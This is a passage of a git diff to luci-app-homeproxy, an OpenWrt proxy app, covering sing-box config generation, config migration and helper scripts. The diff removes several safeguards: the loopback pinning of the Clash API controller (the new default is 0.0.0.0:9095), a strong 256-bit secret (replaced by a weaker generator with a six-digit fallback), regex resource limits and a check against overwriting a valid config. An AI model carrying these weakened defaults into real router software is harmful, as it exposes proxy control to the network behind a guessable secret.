push(config.outbounds, routed_outbound); + } + push(routing_nodes, cfg.node); } }); - for (let i in filter(group_nodes, (l) => !~index(routing_nodes, l))) - push_routing_target_outbound(config, i, routing_nodes); + for (let i in filter(urltest_nodes, (l) => !~index(routing_nodes, l))) { + const urltest_node = uci.get_all(uciconfig, i) || {}; + if (isEmpty(urltest_node)) + continue; - uci.foreach(uciconfig, uciroutingrule, (cfg) => { - if (cfg.enabled === '1' && cfg.action === 'route') - push_routing_target_outbound(config, cfg.outbound, routing_nodes); - }); + if (urltest_node.type === 'wireguard') { + const endpoint = generate_endpoint(urltest_node); + if (endpoint) + push(config.endpoints, endpoint); + } else { + const outbound = generate_outbound(urltest_node); + if (outbound) + push(config.outbounds, outbound); + } + } } if (isEmpty(config.endpoints)) @@ -1117,13 +1155,10 @@ config.route = { { inbound: 'dns-in', action: 'hijack-dns' + }, + { + action: 'sniff' } - /* - * leave for sing-box 1.13.0 - * { - * action: 'sniff' - * } - */ ], rule_set: [], auto_detect_interface: isEmpty(default_interface) ? true : null, @@ -1188,6 +1223,7 @@ if (!isEmpty(main_node)) { tag: 'geoip-cn', format: 'binary', url: 'https://fastly.jsdelivr.net/gh/1715173329/IPCIDR-CHINA@rule-set/cn.srs', + path: ruleset_default_path('geoip-cn', 'binary'), download_detour: 'main-out' }); push(config.route.rule_set, { @@ -1195,6 +1231,7 @@ if (!isEmpty(main_node)) { tag: 'geosite-cn', format: 'binary', url: 'https://fastly.jsdelivr.net/gh/1715173329/sing-geosite@rule-set-unstable/geosite-geolocation-cn.srs', + path: ruleset_default_path('geosite-cn', 'binary'), download_detour: 'main-out' }); push(config.route.rule_set, { @@ -1202,6 +1239,7 @@ if (!isEmpty(main_node)) { tag: 'geosite-noncn', format: 'binary', url: 'https://fastly.jsdelivr.net/gh/1715173329/sing-geosite@rule-set-unstable/geosite-geolocation-!cn.srs', + path: ruleset_default_path('geosite-noncn', 'binary'), download_detour: 'main-out' }); } @@ -1246,81 +1284,64 @@ if (!isEmpty(main_node)) { user: cfg.user, rule_set: get_ruleset(cfg.rule_set), rule_set_ip_cidr_match_source: strToBool(cfg.rule_set_ip_cidr_match_source), + rule_set_ip_cidr_accept_empty: strToBool(cfg.rule_set_ip_cidr_accept_empty), invert: strToBool(cfg.invert), action: cfg.action, - outbound: get_outbound(cfg.outbound, 'block-out', - sprintf('路由规则 %s 的出站', cfg.label || cfg['.name'])), - override_address: cfg.override_address, - override_port: strToInt(cfg.override_port), - udp_disable_domain_unmapping: strToBool(cfg.udp_disable_domain_unmapping), - udp_connect: strToBool(cfg.udp_connect), - udp_timeout: strToTime(cfg.udp_timeout), - tls_fragment: strToBool(cfg.tls_fragment), - tls_fragment_fallback_delay: strToTime(cfg.tls_fragment_fallback_delay), - tls_record_fragment: strToBool(cfg.tls_record_fragment) + outbound: (cfg.action === 'route') ? get_outbound(cfg.outbound) : null, + server: (cfg.action === 'resolve') ? get_resolver(cfg.resolve_server) : null, + strategy: (cfg.action === 'resolve') ? cfg.resolve_strategy : null, + disable_cache: (cfg.action === 'resolve') ? strToBool(cfg.resolve_disable_cache) : null, + rewrite_ttl: (cfg.action === 'resolve') ? strToInt(cfg.resolve_rewrite_ttl) : null, + client_subnet: (cfg.action === 'resolve') ? cfg.resolve_client_subnet : null, + override_address: (cfg.action in ['route', 'route-options']) ? cfg.override_address : null, + override_port: (cfg.action in ['route', 'route-options']) ? strToInt(cfg.override_port) : null, + udp_disable_domain_unmapping: (cfg.action in ['route', 'route-options']) ? strToBool(cfg.udp_disable_domain_unmapping) : null, + udp_connect: (cfg.action in ['route', 'route-options']) ? strToBool(cfg.udp_connect) : null, + udp_timeout: (cfg.action in ['route', 'route-options']) ? strToTime(cfg.udp_timeout) : null, + tls_fragment: (cfg.action in ['route', 'route-options']) ? strToBool(cfg.tls_fragment) : null, + tls_fragment_fallback_delay: (cfg.action in ['route', 'route-options']) ? strToTime(cfg.tls_fragment_fallback_delay) : null, + tls_record_fragment: (cfg.action in ['route', 'route-options']) ? strToBool(cfg.tls_record_fragment) : null, + method: (cfg.action === 'reject') ? cfg.reject_method : null, + no_drop: (cfg.action === 'reject') ? strToBool(cfg.reject_no_drop) : null }); }); - config.route.final = get_outbound(default_outbound, 'block-out', '默认出站'); + config.route.final = get_outbound(default_outbound); /* Rule set */ uci.foreach(uciconfig, uciruleset, (cfg) => { if (cfg.enabled !== '1') return null; + const tag = !isEmpty(cfg.tag) ? cfg.tag : ('cfg-' + cfg['.name'] + '-rule'); + push(config.route.rule_set, { type: cfg.type, - tag: 'cfg-' + cfg['.name'] + '-rule', + tag: tag, format: cfg.format, - path: cfg.path, url: cfg.url, - download_detour: get_outbound(cfg.outbound, 'block-out', - sprintf('规则集 %s 的下载出站', cfg.label || cfg['.name'])), - update_interval: cfg.update_interval + path: (cfg.type === 'remote') ? ruleset_remote_path(cfg.remote_path || cfg.path, tag, cfg.format) : cfg.path, + download_detour: get_outbound(cfg.outbound), + update_interval: (cfg.type === 'remote') ? '87600h' : null }); }); } /* Routing rules end */ /* Experimental start */ -config.experimental = {}; - -if (routing_mode in ['bypass_mainland_china', 'custom']) - config.experimental.cache_file = { - enabled: true, - path: RUN_DIR + '/cache.db', - store_rdrc: strToBool(cache_file_store_rdrc), - rdrc_timeout: strToTime(cache_file_rdrc_timeout), - }; - -if (strToBool(clash_api_enabled)) - config.experimental.clash_api = { - external_controller: clash_api_external_controller, - secret: clash_api_secret, - default_mode: clash_api_default_mode, - access_control_allow_origin: clash_api_allow_origin, - access_control_allow_private_network: strToBool(clash_api_allow_private_network) +if (routing_mode in ['bypass_mainland_china', 'custom']) { + config.experimental = { + clash_api, + cache_file: { + enabled: cache_file_enabled !== '0', + path: cache_file_path || (HP_DIR + '/cache.db'), + store_rdrc: strToBool(cache_store_rdrc), + rdrc_timeout: strToTime(cache_rdrc_timeout), + } }; - -if (isEmpty(config.experimental)) - config.experimental = null; +} /* Experimental end */ -apply_outbound_tag_rename(config); -assert_unique_outbound_tags(config); -assert_no_stale_outbound_tags(config); -writeDiagnostics(); - -/* - * fatal 级配置错误不能用无效配置覆盖现有 sing-box-c.json,否则 init 脚本中的 - * sing-box check 会失败并拖垮正在运行的代理。这里保留上一份有效配置,只报告 - * 聚合错误并退出非零,让服务继续使用上一份有效配置。 - */ -if (hasErrors()) { - warn('HomeProxy 配置验证发现以下问题:\n\n' + formatErrors()); - warn('为避免用无效配置覆盖当前可用配置,本次未写入新配置;服务将继续使用上次的有效配置。请修复上述问题后重启服务。\n'); - exit(1); -} - system('mkdir -p ' + RUN_DIR); +system('mkdir -p ' + RULESET_DIR); writefile(RUN_DIR + '/sing-box-c.json', sprintf('%.J\n', removeBlankAttrs(config))); diff --git a/luci-app-homeproxy/root/etc/homeproxy/scripts/generate_server.uc b/luci-app-homeproxy/root/etc/homeproxy/scripts/generate_server.uc index 224d72503..7941afa6f 100755 --- a/luci-app-homeproxy/root/etc/homeproxy/scripts/generate_server.uc +++ b/luci-app-homeproxy/root/etc/homeproxy/scripts/generate_server.uc @@ -67,7 +67,7 @@ uci.foreach(uciconfig, uciserver, (cfg) => { password: cfg.hysteria_obfs_password } : cfg.hysteria_obfs_password, recv_window_conn: strToInt(cfg.hysteria_recv_window_conn), - recv_window_client: strToInt(cfg.hysteria_revc_window_client), + recv_window_client: strToInt(cfg.hysteria_recv_window_client), max_conn_client: strToInt(cfg.hysteria_max_conn_client), disable_mtu_discovery: strToBool(cfg.hysteria_disable_mtu_discovery), ignore_client_bandwidth: strToBool(cfg.hysteria_ignore_client_bandwidth), diff --git a/luci-app-homeproxy/root/etc/homeproxy/scripts/homeproxy.uc b/luci-app-homeproxy/root/etc/homeproxy/scripts/homeproxy.uc old mode 100644 new mode 100755 index 08b88c6ab..8ff55bf7f --- a/luci-app-homeproxy/root/etc/homeproxy/scripts/homeproxy.uc +++ b/luci-app-homeproxy/root/etc/homeproxy/scripts/homeproxy.uc @@ -66,37 +66,34 @@ export function getTime(epoch) { }; -export function wGET(url, ua) { - const result = wGETResult(url, ua); - return result?.stdout; -}; - -export function wGETResult(url, ua) { +export function wGETResponse(url, ua) { if (!url || type(url) !== 'string') return null; if (!ua) ua = 'Wget/1.21 (HomeProxy, like v2rayN)'; - let last_result = null; + const output = executeCommand(`/usr/bin/wget -O- -S --user-agent ${shellQuote(ua)} --timeout=10 ${shellQuote(url)}`) || {}; + return { + body: trim(output.stdout), + headers: output.stderr || '', + exitcode: output.exitcode + }; +}; - for (let extra in [ '', '-4' ]) { - const output = executeCommand(`/usr/bin/wget -q ${extra} -O- --user-agent ${shellQuote(ua)} --timeout=10 ${shellQuote(url)}`) || {}; +export function wGET(url, ua) { + return wGETResponse(url, ua)?.body; +}; - output.stdout = trim(output.stdout); - output.stderr = trim(output.stderr); - last_result = output; +export function wGETHeaders(url, ua) { + if (!url || type(url) !== 'string') + return null; - if (output.exitcode === 0 && output.stdout) - return output; - } + if (!ua) + ua = 'clash.meta'; - if (last_result) { - last_result.stdout = trim(last_result.stdout); - last_result.stderr = trim(last_result.stderr); - } - - return last_result; + const output = executeCommand(`/usr/bin/wget -O /dev/null -S --user-agent ${shellQuote(ua)} --timeout=10 ${shellQuote(url)}`) || {}; + return output.stderr || ''; }; /* Utilities end */ diff --git a/luci-app-homeproxy/root/etc/homeproxy/scripts/migrate_config.uc b/luci-app-homeproxy/root/etc/homeproxy/scripts/migrate_config.uc index 154e51436..5f6278787 100755 --- a/luci-app-homeproxy/root/etc/homeproxy/scripts/migrate_config.uc +++ b/luci-app-homeproxy/root/etc/homeproxy/scripts/migrate_config.uc @@ -7,21 +7,34 @@ 'use strict'; +import { popen } from 'fs'; import { cursor } from 'uci'; -import { executeCommand, isEmpty, parseURL, validation } from 'homeproxy'; -import { - format_controller, - is_portable_bind_host, - local_ipv4_addresses, - normalize_local_controller_option, - parse_controller -} from '/etc/homeproxy/scripts/clash_api.uc'; +import { isEmpty, parseURL } from 'homeproxy'; const uci = cursor(); const uciconfig = 'homeproxy'; uci.load(uciconfig); +function random_secret() { + const fd = popen('tr -dc "A-Za-z0-9" < /dev/urandom 2>/dev/null | head -c 16'); + let random = ''; + if (fd) { + random = trim(fd.read('all') || ''); + fd.close(); + } + + if (isEmpty(random)) { + const fallback = popen('awk \'BEGIN{srand(); printf "%06d", int(rand() * 1000000)}\''); + if (fallback) { + random = trim(fallback.read('all') || ''); + fallback.close(); + } + } + + return random; +} + const uciinfra = 'infra', ucimigration = 'migration', ucimain = 'config', @@ -32,35 +45,14 @@ const uciinfra = 'infra', ucirouting = 'routing', uciroutingnode = 'routing_node', uciroutingrule = 'routing_rule', - ucisubscription = 'subscription', + uciclashapi = 'clash_api', + ucintp = 'ntp', + ucicache = 'cache', uciserver = 'server'; -/* Generate a random 256-bit hex secret for the Clash API. Returns null when no - * usable randomness source is available, in which case the caller leaves the - * secret unset rather than installing a predictable value. */ -function generateClashSecret() { - let secret = trim(executeCommand("head -c 32 /dev/urandom | hexdump -v -e '1/1 \"%02x\"'")?.stdout || ''); - if (!match(secret, /^[a-f0-9]{64}$/)) - secret = trim(executeCommand('tr -dc a-f0-9 < /dev/urandom | head -c 64')?.stdout || ''); - - return match(secret, /^[a-f0-9]{32,}$/) ? secret : null; -} - -function normalizeLocalControllerOptions() { - let local_addresses = local_ipv4_addresses((command) => executeCommand(command)?.stdout || ''), - fallback_host = local_addresses[0]; - - if (isEmpty(fallback_host)) - return; - - /* clash_api_external_controller is intentionally pinned to loopback (see - * below) and must NOT be rewritten to the LAN address. Only the LAN-facing - * display proxy is bound to a reachable local address here. */ - for (let item in [ - [ 'clash_api_proxy_external_controller', 9091, true ] - ]) - normalize_local_controller_option(uci, uciconfig, ucimain, - local_addresses, fallback_host, item[0], item[1], item[2]); +function is_update_cron(value) { + let matched = match(value || '', /^(\d{1,2})\s+(\d{1,2})\s+\*\s+\*\s+([0-7*])$/); + return !isEmpty(matched) && int(matched[1]) <= 59 && int(matched[2]) <= 23; } /* chinadns-ng has been removed */ @@ -72,9 +64,7 @@ const china_dns_server = uci.get(uciconfig, ucimain, 'china_dns_server'); if (type(china_dns_server) === 'array') { uci.set(uciconfig, ucimain, 'china_dns_server', china_dns_server[0]); } else { - if (china_dns_server === 'wan_114') - uci.set(uciconfig, ucimain, 'china_dns_server', '114.114.114.114'); - else if (match(china_dns_server, /,/)) + if (match(china_dns_server, /,/)) uci.set(uciconfig, ucimain, 'china_dns_server', split(china_dns_server, ',')[0]); } @@ -93,6 +83,93 @@ if (!uci.get(uciconfig, uciinfra, 'ntp_server')) if (!isEmpty(uci.get(uciconfig, uciinfra, 'tun_gso'))) uci.delete(uciconfig, uciinfra, 'tun_gso'); +/* endpoint_independent_nat was removed in sing-box 1.13 */ +if (!isEmpty(uci.get(uciconfig, ucirouting, 'endpoint_independent_nat'))) + uci.delete(uciconfig, ucirouting, 'endpoint_independent_nat'); + +/* direct outbound proxy_protocol was removed in sing-box 1.13 */ +uci.foreach(uciconfig, ucinode, (cfg) => { + if (cfg.type === 'direct' && !isEmpty(cfg.proxy_protocol)) + uci.delete(uciconfig, cfg['.name'], 'proxy_protocol'); +}); + +const legacy_panel_url = 'https://github.com/Zephyruso/zashboard/releases/latest/download/dist.zip'; +const legacy_panel_proxy_url = 'https://gh-proxy.com/https://github.com/Zephyruso/zashboard/releases/latest/download/dist.zip'; +const old_panel_url = 'https://github.com/Zephyruso/zashboard/releases/latest/download/dist-cdn-fonts.zip'; +const old_panel_proxy_url = 'https://gh-proxy.com/https://github.com/Zephyruso/zashboard/releases/latest/download/dist-cdn-fonts.zip'; +const default_panel_url = 'https://gh-proxy.com/https://github.com/Zephyruso/zashboard/releases/latest/download/dist-cdn-fonts.zip'; + +/* clash api panel options were introduced */ +if (!uci.get(uciconfig, uciclashapi)) + uci.set(uciconfig, uciclashapi, uciconfig); + +if (isEmpty(uci.get(uciconfig, uciclashapi, 'external_ui'))) + uci.set(uciconfig, uciclashapi, 'external_ui', '/etc/homeproxy/run/ui'); + +const panel_url = uci.get(uciconfig, uciclashapi, 'external_ui_download_url'); +if (isEmpty(panel_url) || panel_url === legacy_panel_url || panel_url === legacy_panel_proxy_url || panel_url === old_panel_proxy_url) + uci.set(uciconfig, uciclashapi, 'external_ui_download_url', default_panel_url); + +if (isEmpty(uci.get(uciconfig, uciclashapi, 'external_ui_download_detour'))) + uci.set(uciconfig, uciclashapi, 'external_ui_download_detour', 'direct-out'); + +if (isEmpty(uci.get(uciconfig, uciclashapi, 'external_controller'))) + uci.set(uciconfig, uciclashapi, 'external_controller', '0.0.0.0:9095'); + +if (isEmpty(uci.get(uciconfig, uciclashapi, 'secret')) || uci.get(uciconfig, uciclashapi, 'secret') === 'homeproxy') { + let random = random_secret(); + if (!isEmpty(random)) + uci.set(uciconfig, uciclashapi, 'secret', random); +} + +if (isEmpty(uci.get(uciconfig, uciclashapi, 'default_mode'))) + uci.set(uciconfig, uciclashapi, 'default_mode', 'rule'); + +/* ntp options were moved into a dedicated section */ +if (!uci.get(uciconfig, ucintp)) + uci.set(uciconfig, ucintp, uciconfig); + +const legacy_ntp_server = uci.get(uciconfig, uciinfra, 'ntp_server'); +if (isEmpty(uci.get(uciconfig, ucintp, 'enabled'))) + uci.set(uciconfig, ucintp, 'enabled', '1'); + +if (isEmpty(uci.get(uciconfig, ucintp, 'server'))) + uci.set(uciconfig, ucintp, 'server', !isEmpty(legacy_ntp_server) ? legacy_ntp_server : 'ntp.aliyun.com'); + +if (isEmpty(uci.get(uciconfig, ucintp, 'server_port'))) + uci.set(uciconfig, ucintp, 'server_port', '123'); + +if (isEmpty(uci.get(uciconfig, ucintp, 'interval'))) + uci.set(uciconfig, ucintp, 'interval', '30m'); + +/* cache file options were moved into a dedicated section */ +if (!uci.get(uciconfig, ucicache)) + uci.set(uciconfig, ucicache, uciconfig); + +if (isEmpty(uci.get(uciconfig, ucicache, 'enabled'))) + uci.set(uciconfig, ucicache, 'enabled', '1'); + +const old_cache_path = '/var/run/homeproxy/cache.db'; +const default_cache_path = '/etc/homeproxy/cache.db'; +const cache_path = uci.get(uciconfig, ucicache, 'path'); +if (isEmpty(cache_path) || cache_path === old_cache_path) + uci.set(uciconfig, ucicache, 'path', default_cache_path); + +if (!isEmpty(uci.get(uciconfig, ucicache, 'store_fakeip'))) + uci.delete(uciconfig, ucicache, 'store_fakeip'); + +if (isEmpty(uci.get(uciconfig, ucicache, 'store_rdrc'))) + uci.set(uciconfig, ucicache, 'store_rdrc', isEmpty(uci.get(uciconfig, ucidns, 'cache_file_store_rdrc')) ? '1' : uci.get(uciconfig, ucidns, 'cache_file_store_rdrc')); + +if (isEmpty(uci.get(uciconfig, ucicache, 'rdrc_timeout')) && !isEmpty(uci.get(uciconfig, ucidns, 'cache_file_rdrc_timeout'))) + uci.set(uciconfig, ucicache, 'rdrc_timeout', uci.get(uciconfig, ucidns, 'cache_file_rdrc_timeout')); + +if (!isEmpty(uci.get(uciconfig, ucidns, 'cache_file_store_rdrc'))) + uci.delete(uciconfig, ucidns, 'cache_file_store_rdrc'); + +if (!isEmpty(uci.get(uciconfig, ucidns, 'cache_file_rdrc_timeout'))) + uci.delete(uciconfig, ucidns, 'cache_file_rdrc_timeout'); + /* create migration section */ if (!uci.get(uciconfig, ucimigration)) uci.set(uciconfig, ucimigration, uciconfig); @@ -111,55 +188,9 @@ if (isEmpty(uci.get(uciconfig, ucimain, 'log_level'))) if (isEmpty(uci.get(uciconfig, uciserver, 'log_level'))) uci.set(uciconfig, uciserver, 'log_level', 'warn'); -if (isEmpty(uci.get(uciconfig, ucisubscription, 'allow_unsupported_tls_pin_fallback'))) - uci.set(uciconfig, ucisubscription, 'allow_unsupported_tls_pin_fallback', '0'); - -/* Clash API dashboard integration */ -if (isEmpty(uci.get(uciconfig, ucimain, 'clash_api_enabled'))) - uci.set(uciconfig, ucimain, 'clash_api_enabled', '1'); - -/* Bind sing-box's own Clash API controller to loopback so it is never - * reachable directly from the LAN; dashboards reach it only through the - * filtering display proxy. Existing LAN-bound controllers are migrated to - * 127.0.0.1 once (port preserved); a later deliberate change is left alone. */ -const clash_external = uci.get(uciconfig, ucimain, 'clash_api_external_controller'); -if (isEmpty(clash_external)) { - uci.set(uciconfig, ucimain, 'clash_api_external_controller', '127.0.0.1:9090'); -} else if (isEmpty(uci.get(uciconfig, ucimigration, 'clash_api_localhost'))) { - const clash_controller = parse_controller(clash_external, 9090); - if (!is_portable_bind_host(clash_controller.host)) - uci.set(uciconfig, ucimain, 'clash_api_external_controller', - format_controller('127.0.0.1', clash_controller.port || 9090)); -} -uci.set(uciconfig, ucimigration, 'clash_api_localhost', '1'); - -/* sing-box's Clash API performs NO authentication when the secret is empty, - * and the LAN-facing display proxy forwards to it, so anyone able to reach the - * proxy could otherwise control the proxy without credentials. Generate a - * random secret when none is configured. */ -if (isEmpty(uci.get(uciconfig, ucimain, 'clash_api_secret'))) { - const clash_secret = generateClashSecret(); - if (!isEmpty(clash_secret)) - uci.set(uciconfig, ucimain, 'clash_api_secret', clash_secret); -} - -normalizeLocalControllerOptions(); - -if (isEmpty(uci.get(uciconfig, ucimain, 'clash_api_default_mode'))) - uci.set(uciconfig, ucimain, 'clash_api_default_mode', 'Rule'); - -if (isEmpty(uci.get(uciconfig, ucimain, 'clash_api_allow_origin'))) { - uci.add_list(uciconfig, ucimain, 'clash_api_allow_origin', 'https://metacubex.github.io'); - uci.add_list(uciconfig, ucimain, 'clash_api_allow_origin', 'https://metacubexd.pages.dev'); - uci.add_list(uciconfig, ucimain, 'clash_api_allow_origin', 'http://d.metacubex.one'); - uci.add_list(uciconfig, ucimain, 'clash_api_allow_origin', 'https://yacd.metacubex.one'); -} - -if (isEmpty(uci.get(uciconfig, ucimain, 'clash_api_allow_private_network'))) - uci.set(uciconfig, ucimain, 'clash_api_allow_private_network', '1'); - -if (isEmpty(uci.get(uciconfig, ucimain, 'metacubexd_url'))) - uci.set(uciconfig, ucimain, 'metacubexd_url', 'https://metacubexd.pages.dev/#/overview'); +if (!isEmpty(uci.get(uciconfig, 'subscription', 'auto_update_time')) && + !is_update_cron(uci.get(uciconfig, 'subscription', 'auto_update_time'))) + uci.set(uciconfig, 'subscription', 'auto_update_time', '0 0 * * *'); /* empty value defaults to all ports now */ if (uci.get(uciconfig, ucimain, 'routing_port') === 'all') @@ -325,6 +356,47 @@ uci.foreach(uciconfig, uciroutingrule, (cfg) => { } }); +/* routing node options */ +uci.foreach(uciconfig, uciroutingnode, (cfg) => { + if (cfg.node === 'urltest' && !isEmpty(cfg.urltest_nodes)) { + let custom_nodes = [], + subscription_nodes = []; + + for (let node in (type(cfg.urltest_nodes) === 'array' ? cfg.urltest_nodes : [ cfg.urltest_nodes ])) { + let node_cfg = uci.get_all(uciconfig, node); + if (isEmpty(node_cfg)) + continue; + + if (!isEmpty(node_cfg.grouphash)) + push(subscription_nodes, node); + else + push(custom_nodes, node); + } + + if (isEmpty(cfg.selected_nodes) && !isEmpty(custom_nodes)) + uci.set(uciconfig, cfg['.name'], 'selected_nodes', custom_nodes); + + if (isEmpty(cfg.subscription_nodes) && !isEmpty(subscription_nodes)) + uci.set(uciconfig, cfg['.name'], 'subscription_nodes', subscription_nodes); + + uci.delete(uciconfig, cfg['.name'], 'urltest_nodes'); + } +}); + +/* rule set options */ +uci.foreach(uciconfig, uciruleset, (cfg) => { + if (isEmpty(cfg.tag)) + uci.set(uciconfig, cfg['.name'], 'tag', 'cfg-' + cfg['.name'] + '-rule'); + + if (cfg.type === 'remote') { + if (isEmpty(cfg.auto_update)) + uci.set(uciconfig, cfg['.name'], 'auto_update', '1'); + + if (!is_update_cron(cfg.update_interval)) + uci.set(uciconfig, cfg['.name'], 'update_interval', '0 0 * * *'); + } +}); + /* server options */ /* auto_firewall was moved into server options */ const auto_firewall = uci.get(uciconfig, uciserver, 'auto_firewall'); @@ -332,6 +404,13 @@ if (!isEmpty(auto_firewall)) uci.delete(uciconfig, uciserver, 'auto_firewall'); uci.foreach(uciconfig, uciserver, (cfg) => { + if (!isEmpty(cfg.hysteria_revc_window_client) && isEmpty(cfg.hysteria_recv_window_client)) { + uci.set(uciconfig, cfg['.name'], 'hysteria_recv_window_client', cfg.hysteria_revc_window_client); + } + + if (!isEmpty(cfg.hysteria_revc_window_client)) + uci.delete(uciconfig, cfg['.name'], 'hysteria_revc_window_client'); + /* auto_firewall was moved into server options */ if (auto_firewall === '1') uci.set(uciconfig, cfg['.name'], 'firewall' , '1'); diff --git a/luci-app-homeproxy/root/etc/homeproxy/scripts/node_filter.uc b/luci-app-homeproxy/root/etc/homeproxy/scripts/node_filter.uc deleted file mode 100644 index 03a78af82..000000000 --- a/luci-app-homeproxy/root/etc/homeproxy/scripts/node_filter.uc +++ /dev/null @@ -1,235 +0,0 @@ -/* - * SPDX-License-Identifier: GPL-2.0-only - * - * HomeProxy 节点正则资源限制 helper。 - */ - -'use strict'; - -const NODE_FILTER_MAX_PATTERN_LENGTH = 512; -const NODE_FILTER_MAX_RESULT_NODES = 500; -const NODE_FILTER_MAX_SCAN_NODES = 2000; - -function isEmpty(value) { - return !value || value === 'nil' || (type(value) in ['array', 'object'] && length(value) === 0); -} - -function limits() { - return { - max_pattern_length: NODE_FILTER_MAX_PATTERN_LENGTH, - max_result_nodes: NODE_FILTER_MAX_RESULT_NODES, - max_scan_nodes: NODE_FILTER_MAX_SCAN_NODES - }; -} - -function nodeFilterGuard(pattern) { - let result = { result: true, limits: limits() }; - - if (isEmpty(pattern)) - return result; - - if (length(pattern) > NODE_FILTER_MAX_PATTERN_LENGTH) - return { - result: false, - error: sprintf('正则长度超过 %d 字符', NODE_FILTER_MAX_PATTERN_LENGTH), - limits: limits() - }; - - return result; -} - -function normalizeNodeList(value) { - let nodes = []; - - if (isEmpty(value)) - return nodes; - - if (type(value) !== 'array') - value = [ value ]; - - for (let node_id in value) - if (!isEmpty(node_id) && !~index(nodes, node_id)) - push(nodes, node_id); - - return nodes; -} - -function compilePattern(pattern) { - let validated = nodeFilterGuard(pattern); - - if (!validated.result) - return validated; - - if (isEmpty(pattern)) - return { - result: true, - pattern: null, - limits: validated.limits - }; - - try { - return { - result: true, - pattern: regexp(pattern), - limits: validated.limits - }; - } catch(e) { - return { - result: false, - error: e.message || sprintf('%s', e), - limits: validated.limits - }; - } -} - -function previewResult(nodes, meta) { - return { - result: true, - nodes: nodes, - truncated: meta.truncated, - scan_truncated: meta.scan_truncated, - max_result_nodes: meta.max_result_nodes, - max_scan_nodes: meta.max_scan_nodes - }; -} - -function appendUniqueNode(nodes, node_id) { - if (!isEmpty(node_id) && !~index(nodes, node_id)) - push(nodes, node_id); -} - -function appendLimitedNode(nodes, node_id, meta) { - if (isEmpty(node_id) || ~index(nodes, node_id)) - return; - - if (length(nodes) < meta.max_result_nodes) - push(nodes, node_id); - else - meta.truncated = true; -} - -function previewManualNodeAllowed(uci, config, node_id, node_mode) { - const section_type = uci.get(config, node_id); - - if (section_type === 'node') - return true; - - if (node_mode === 'selector') { - if (node_id in ['direct-out', 'block-out']) - return true; - - if (section_type === 'routing_node' && - uci.get(config, node_id, 'enabled') === '1' && - !isEmpty(uci.get(config, node_id, 'node'))) - return true; - } - - return false; -} - -function filterManualNodeAllowed(ctx, node_id) { - if (type(ctx.allow_manual_node) === 'function') - return !!ctx.allow_manual_node(node_id); - - return true; -} - -function manualNodeError(ctx, node_id) { - if (type(ctx.on_invalid_manual_node) === 'function') - ctx.on_invalid_manual_node(node_id); -} - -function labelOfNode(cfg) { - return cfg.label || cfg['.name']; -} - -function scanMatchedNodeIds(ctx, pattern, meta) { - let matched = [], - scanned = 0; - - if (!pattern) - return matched; - - ctx.uci.foreach(ctx.config, ctx.node_type || 'node', (cfg) => { - if (scanned >= meta.max_scan_nodes) { - meta.scan_truncated = true; - return; - } - - scanned++; - - if (match(labelOfNode(cfg), pattern)) - push(matched, cfg['.name']); - }); - - return matched; -} - -function applyExcludePattern(ctx, nodes, pattern, meta) { - let exclude_ids = {}; - - if (!pattern) - return nodes; - - for (let node_id in scanMatchedNodeIds(ctx, pattern, meta)) - exclude_ids[node_id] = true; - - return filter(nodes, (node_id) => !exclude_ids[node_id]); -} - -function defaultMeta() { - let guard = nodeFilterGuard(null), - guard_limits = guard.limits; - - return { - truncated: false, - scan_truncated: false, - max_result_nodes: guard_limits.max_result_nodes, - max_scan_nodes: guard_limits.max_scan_nodes - }; -} - -export function node_filter_guard(pattern) { - return nodeFilterGuard(pattern); -}; - -export function node_filter_compile(pattern) { - return compilePattern(pattern); -}; - -export function expand_node_filter(ctx, manual_nodes, node_filter, node_filter_exclude) { - ctx = ctx || {}; - - let include_compiled = compilePattern(node_filter), - exclude_compiled = compilePattern(node_filter_exclude), - meta = defaultMeta(), - nodes = []; - - if (!include_compiled.result) - return include_compiled; - - if (!exclude_compiled.result) - return exclude_compiled; - - for (let node_id in normalizeNodeList(manual_nodes)) { - if (filterManualNodeAllowed(ctx, node_id)) - appendUniqueNode(nodes, node_id); - else - manualNodeError(ctx, node_id); - } - - for (let node_id in scanMatchedNodeIds(ctx, include_compiled.pattern, meta)) - appendLimitedNode(nodes, node_id, meta); - - nodes = applyExcludePattern(ctx, nodes, exclude_compiled.pattern, meta); - - return previewResult(nodes, meta); -}; - -export function preview_manual_node_allowed(uci, config, node_id, node_mode) { - return previewManualNodeAllowed(uci, config, node_id, node_mode); -}; - -export function normalize_node_list(value) { - return normalizeNodeList(value); -}; diff --git a/luci-app-homeproxy/root/etc/homeproxy/scripts/node_references.uc b/luci-app-homeproxy/root/etc/homeproxy/scripts/node_references.uc deleted file mode 100644 index e74ca04a0..000000000 --- a/luci-app-homeproxy/root/etc/homeproxy/scripts/node_references.uc +++ /dev/null @@ -1,362 +0,0 @@ -'use strict'; - -function isEmpty(value) { - return !value || value === 'nil' || (type(value) in ['array', 'object'] && length(value) === 0); -} - -function toArray(value) { - if (type(value) === 'array') - return value; - else if (isEmpty(value)) - return []; - - return [ value ]; -} - -function removeListValue(uci, config, section, option, value) { - let values = toArray(uci.get(config, section, option)), - filtered = []; - - for (let item in values) - if (item !== value) - push(filtered, item); - - if (length(filtered)) - uci.set(config, section, option, filtered); - else if (length(values)) - uci.delete(config, section, option); -} - -function addReference(refs, entry) { - push(refs, entry); -} - -function addCleanupChange(changes, node_id, scope, section, option, action, value) { - push(changes, { - node_id: node_id, - scope: scope, - section: section, - option: option, - action: action, - value: value - }); -} - -function normalizeUniqueNodeIds(node_ids) { - let seen = {}, - unique_ids = []; - - if (type(node_ids) !== 'array') - return unique_ids; - - for (let node_id in node_ids) - if (!seen[node_id] && !isEmpty(node_id)) { - seen[node_id] = true; - push(unique_ids, node_id); - } - - return unique_ids; -} - -export function collect_node_references(uci, config, node_id) { - let refs = []; - - if (isEmpty(node_id)) - return refs; - - if (uci.get(config, 'config', 'main_node') === node_id) - addReference(refs, { - scope: 'main_node', - section: 'config', - option: 'main_node', - label: 'Main node' - }); - - if (uci.get(config, 'config', 'main_udp_node') === node_id) - addReference(refs, { - scope: 'main_udp_node', - section: 'config', - option: 'main_udp_node', - label: 'Main UDP node' - }); - - if (~index(toArray(uci.get(config, 'config', 'main_urltest_nodes')), node_id)) - addReference(refs, { - scope: 'main_urltest_nodes', - section: 'config', - option: 'main_urltest_nodes', - label: 'Main node / URLTest nodes' - }); - - if (~index(toArray(uci.get(config, 'config', 'main_udp_urltest_nodes')), node_id)) - addReference(refs, { - scope: 'main_udp_urltest_nodes', - section: 'config', - option: 'main_udp_urltest_nodes', - label: 'Main UDP node / URLTest nodes' - }); - - if (uci.get(config, 'routing', 'default_outbound') === node_id) - addReference(refs, { - scope: 'default_outbound', - section: 'routing', - option: 'default_outbound', - label: 'Routing / 